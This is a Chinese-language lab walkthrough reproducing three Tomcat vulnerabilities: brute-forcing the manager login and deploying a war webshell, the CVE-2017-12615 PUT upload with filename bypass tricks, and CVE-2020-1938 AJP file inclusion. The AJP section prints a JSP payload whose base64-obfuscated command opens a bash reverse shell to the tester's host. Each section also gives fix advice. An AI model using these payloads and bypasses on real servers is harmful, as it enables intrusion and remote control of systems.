珂兰寺小课堂|Tomcat系列漏洞复现

william1024

共 3969字,需浏览 8分钟

 · 2021-09-15

3791fa4576d4e87c6501f3234ece4ad0.webp

点击上方蓝字关注我们



本篇文章是关于Tomcat历史漏洞的复现,介绍了以下3个漏洞的原理、利用方式及修复建议。

  • Tomcat后台上传war包getshell

  • Tomcat的PUT的上传漏洞(CVE-2017-12615)

  • Tomcat AJP文件包含漏洞分析(CVE-2020-1938)

眼过千遍,不如手动一遍,快来一起学习吧...



01


Tomcat后台上传war包




01

漏洞简介


    

我们本次实验主要是Tomcat后台上传war包。Tomcat存在管理后台进行应用部署管理,且管理后台使用HTTP基础认证进行登录。若用户口令为弱口令,攻击者容易进行暴力破解登录后台并进行应用管理。


02

复现环境



 Tomcat受影响版本:7.0-8.0
复现漏洞版本:8.0.43

靶机ubuntuip192.168.2.7

测试机kaliip192.168.2.5


03

复现步骤



0x01 搭建环境

  docker及docker-compose安装参考上篇文章。首先进入相应的漏洞下,然后使用命令启动

docker-compose build
docker-compose up -d//启动环境
docker-compose down //关闭容器
docker ps //查看正在运行的容器

如下图所示:

ed7ea4c9cc9aa342053671459284dda9.webp


然后我们访问环境127.0.0.1:8080,如下图所示:

36002695db04ac13bfb3f07c3ab9b236.webp


图中可以看到manager app,点击并登录后可对web应用程序进行部署,并且十分方便,管理员只需要上传一个war格式的文件就可以发布到网站。

点击manager app后需要用户名和密码。

48871624646ac2f35af42b8c36556b3e.webp

0x02 弱口令爆破

进入kali中,使用msfconsole,命令如下:

msfconsole

2011cb7ebc47324f6b472bac387c759f.webp


依次执行如下命令:

search tomcat
use auxiliary/scanner/http/tomcat_mgr_login

70bd5e3a62325604c99c7eb1eef96790.webp


10ce967d44338a55641504e87dd2899c.webp


然后执行如下命令:

set rhosts 192.168.2.7
run

c2affc53c84be62f3b607f3845f754bb.webp

最后使用爆破出来的用户名:密码(tomcat:tomcat )进行登录,如下图所示:

838a1c84467e6e774d17a98121294bef.webp

0x03 制作war包

这里我们使用 jar -cvf命令去生成我们的war包,如下图所示:

1ca24efabf443285303c4d970d8687ff.webp


0x04 上传war包并获取shell 

我们首先找到上传点,然后上传我们的war包,如下图所示:

bb9cb2e9ffdac6a6704fff6b4dbcd942.webp


aca0dd396f24dbcf9183f13407bf57c0.webp

部署好之后,我们访问127.0.0.1:8080/test/shell.jsp,然后就可以看到下图所示:

b1c87b685cefef99c295a64f48160106.webp

最后打开菜刀,然后输入地址以及密码,成功连接,如下图所示:

df4ded8e478d1187ac3fa0ab12e566f5.webp

到此,此漏洞利用成功。


04

修复方法



  1. 在系统上以低权限运行Tomcat应用程序,创建一个专门的tomcat服务用户,该用户只能拥有一组最小权限;

  2. 增加对于本地和基于证书的身份验证,部署账户锁定机制(对于集中式认证,目录服务也要做相应配置)。在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制。

  3. 以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制。

48d6cff3803c7ff9ad764b75155db85f.webp


02


Tomcat的任意文件写入

      CVE-2017-12615




01

漏洞简介



我们本次实验主要是复现CVE-2017-12615。当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP文件中的代码将能被服务器执行。


02

复现环境



  受影响的版本:Apache Tomcat 7.0.0 -- 7.0.81(默认配置)
复现环境:Tomcat 8.5.19
靶机ubuntuip192.168.2.7


03

复现步骤


0x01  搭建环境

还是使用vulhub提供的docker,首先进入相应的漏洞下,然后使用命令启动。

docker-compose build
docker-compose up -d//启动环境
docker-compose down //关闭容器
docker ps //查看正在运行的容器

b0f4345db9cb52eb40477394bdefec28.webp


ae99c662d53e7948a8abf10422868a05.webp


搭建完成后访问http://127.0.0.1:8080,如下图所示:

eac5e9d2eeb9e2916412697db2719ee7.webp

0x02 burp抓包修改格式

1.打开burp进行抓包,然后发到重放模块,如下图所示:

b8ce3d59cd5a017bb6847236ca2a9ea1.webp


2. 首先我们先上传一个txt文件,这里我们需要修改get为put如下图所示:

f7ef4d46fcc3940bf037a73874bb3f81.webp

3.我们使用命令docker exec -it <容器id> bin/bash进入到容器内部,查看我们上传的文件,如下图所示:

628105fd105775fb71ee9e2a3502de3f.webp


4.这里我们直接上传jsp文件,发现返回404,是不被允许的,如下图所示:

3500d0da4c68ad8cf75e923c3e6f6559.webp

0x03 绕过方式

对于这种情况可以有多种方式绕过。

  1. Windows下不允许文件以空格结尾,以 PUT /x.jsp%20 HTTP/1.1上传到windows会被自动去掉末尾空格;

  2. WindowsNTFS流 PUT /x.jsp::$DATA HTTP/1.1

  3. /在文件名中是非法的,也会被去除(Linux/Windows) PUT /x.jsp/ HTTP/1.1;

大家自行进行测试

0x04 上传jsp文件获取shell

这里使用我们直接在上传文件后缀名后加/绕过,然后添加一句话(我们也可以在这里上传我们的马),之后我们点击发送按钮,可以看到返回201如下图所示:

30eb51cef10195d5b69da68a796590d8.webp


最后,通过浏览器访问文件测试是否上传成功,如下图所示:

ba9a8d1140a59bf2c347b535a86377ab.webp


从上图我们知道我们传入的jsp文件成功执行命令,说明漏洞利用成功。

这里我们可以上传一个马,如下图所示:

e8395570eff385387e728f5894f99e51.webp

然后我们使用冰蝎进行连接,密码是rebeyond,连接成功,如下图所示

f47045d8343a9db0c0fda3f42449d8ef.webp

到此漏洞利用成功。


04

修复方法



  1. 配置readonly为true;

  2. 根据官方补丁升级为最新版本。


48d6cff3803c7ff9ad764b75155db85f.webp


03


Tomcat AJP文件包含漏洞分析

        CVE-2020-1938




01

漏洞简介



Tomcat配置了两个Connecto,它们分别是HTTP和AJP。HTTP默认端口为8080,处理http请求,AJP默认端口为8009,用于处理AJP协议的请求。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件,例如可以读取 webapp 配置文件或源代码。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。目前,厂商已发布新版本完成漏洞修复。


02

复现环境



受影响版本:
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
复现版本:Tomcat 9.0.30
靶机:ubuntuip192.168.2.7
测试机:kaliip192.168.2.5


03

复现步骤


0x01 环境搭建

启动vulhub环境,首先进入相应的漏洞下,然后使用命令启动。

docker build
docker-compose up -d//启动环境
docker-compose down //关闭容器
docker ps //查看正在运行的容器

如下图所示:

edc03d1075451638ab624b1dff70de72.webp


访问127.0.0.1:8080,出现下图则开启成功,如下图所示:

abce225b6473b5b06577eb9714e95ef8.webp

0x02 webapp任意文件读取

1. 已经知道该漏洞产生的位置是8009的AJP协议,此处利用公开的利用脚本。

脚本下载地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

2. 运行脚本读取WEB-INF/web.xml文件,如下图所示:

a60a5bc22d8c5ee573a17d6c132c4c45.webp


3. 在docker的ROOT目录下新建文件用来测试是否可以成功读取,首先使用命令docker exec -it <容器id> bin/bash进入到容器内,如下图所示:

b8c2753bd6f2a7d1e7f166a8771153ee.webp


4. 然后我们进入到ROOT目录下新建一个test.txt文件,如下图所示:

cf187a33ec24229c002b5146402f1b10.webp


5.后执行脚本来读取test.txt,读取成功,如下图所示:

575342db3e900f57acb31734e23f450a.webp

0x03 漏洞利用

该漏洞需要配合文件上传漏洞才能利用,假设服务器已经有了存在一个txt文件,里面的内容可以执行任意命令(实际的渗透操作中要利用目标服务器同时存在文件上传功能来实现上传文件)。 

1. 构造payload

5985e54500c2e53786bae18b7fb9ecaa.webp

<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMi41Lzg4ODggPCYxCgoK}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");%>

2.将内容保存在txt文件里,使用命令将txt文件复制到服务器的ROOT路径,如下图所示:

5b8a8757577f9e49f36668848e817010.webp


3.要想实现文件包含,必须要运行包含的文件,所以目标文件需要是jsp,这里需要修改脚本中的文件名asdf为asdf.jsp,如下图所示:

5ec72097a29656d0fcf3907189312d77.webp


4.kali监听端口8888

11b83c39a4b77249334c829d620ae5bd.webp


5.然后运行脚本,可以看到成功反弹shell。

a18d17b2f298e447c3f90b1e96eb6e7e.webp


14e7be899488dd7d174c33e5e227f015.webp

到此,漏洞成功利用。


04

修复建议



  1. 禁用AJP协议,在/conf/server.xml中编辑;

  2. 将Tomcat升级到更高的版本


END


浏览 71
点赞
评论
收藏
分享

手机扫一扫分享

举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

举报